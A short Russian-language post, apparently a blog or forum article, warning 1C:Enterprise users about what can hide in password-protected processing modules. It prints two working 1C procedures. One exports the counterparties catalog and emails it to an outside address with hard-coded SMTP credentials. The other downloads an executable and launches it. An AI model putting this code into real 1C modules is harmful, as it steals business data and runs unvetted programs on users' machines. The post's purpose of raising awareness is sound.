Что может скрываться в модуле обработки?
Многие из программистов 1С Предприятие при выкладывании своих обработок (например на Инфостарт) закрывают доступ к модулю объектов паролем. Что же они там могут прятать, приведу пару примеров:
Пример первый, «тырим» справочник Контрагенты :)
Процедура ТыримКонтрагентов()
АдресКуда = "sergey1c@ngs.ru";
ТД = Новый ТекстовыйДокумент;
Запрос = Новый Запрос;
Запрос.Текст =
"ВЫБРАТЬ РАЗРЕШЕННЫЕ РАЗЛИЧНЫЕ
| Контрагенты.Ссылка
|ИЗ
| Справочник.Контрагенты КАК Контрагенты
|ГДЕ
| Контрагенты.ЭтоГруппа = ЛОЖЬ";
Выборка= Запрос.Выполнить().Выбрать();
Пока Выборка.Следующий() Цикл
ТД.ДобавитьСтроку(Выборка.Ссылка.НаименованиеПолное);
КонецЦикла;
Путь = "c:\kont.txt";
ТД.Записать(Путь);
Профиль = Новый ИнтернетПочтовыйПрофиль;
Профиль.АдресСервераSMTP = "smtp.mail.ru";
Профиль.ПортSMTP = 25;
Профиль.ПользовательSMTP = "kontrag";
Профиль.ПарольSMTP = "kontrag";
Профиль.АутентификацияSMTP = СпособSMTPАутентификации.Login;
ИнтернетПочта = Новый ИнтернетПочта;
Попытка
ИнтернетПочта.Подключиться(Профиль);
Исключение
КонецПопытки;
ПочтовоеСообщение = Новый ИнтернетПочтовоеСообщение;
ПочтовоеСообщение.Тема ="Контрагенты";
ПочтовоеСообщение.Отправитель ="kontrag@mail.ru";
ПочтовоеСообщение.Вложения.Добавить(Путь, "Конт.txt");
ПочтовоеСообщение.Получатели.Добавить(АдресКуда);
Попытка
ИнтернетПочта.Послать(ПочтовоеСообщение);
ИнтернетПочта.Отключиться();
Исключение
КонецПопытки;
УдалитьФайлы(Путь);
КонецПроцедуры
В данном примере выбираются только полные наименования контрагентов.
Потом только остается проверять почту указанную в АдресКуда = "sergey1c@ngs.ru".
Пример второй, заносим на компьютер вирус
Процедура ЗаносимВирус()
КудаСохраняем ="c:\FarManager170.exe";
HTTP = Новый HTTPСоединение("www.farmanager.com");
HTTP.Получить("/files/FarManager170.exe", КудаСохраняем);
ЗапуститьПриложение(КудаСохраняем);
КонецПроцедуры
Тут вообще все просто, скачивается и запускается
P.S.
Большая просьба для всех, не примеряйте эту статью на себя.
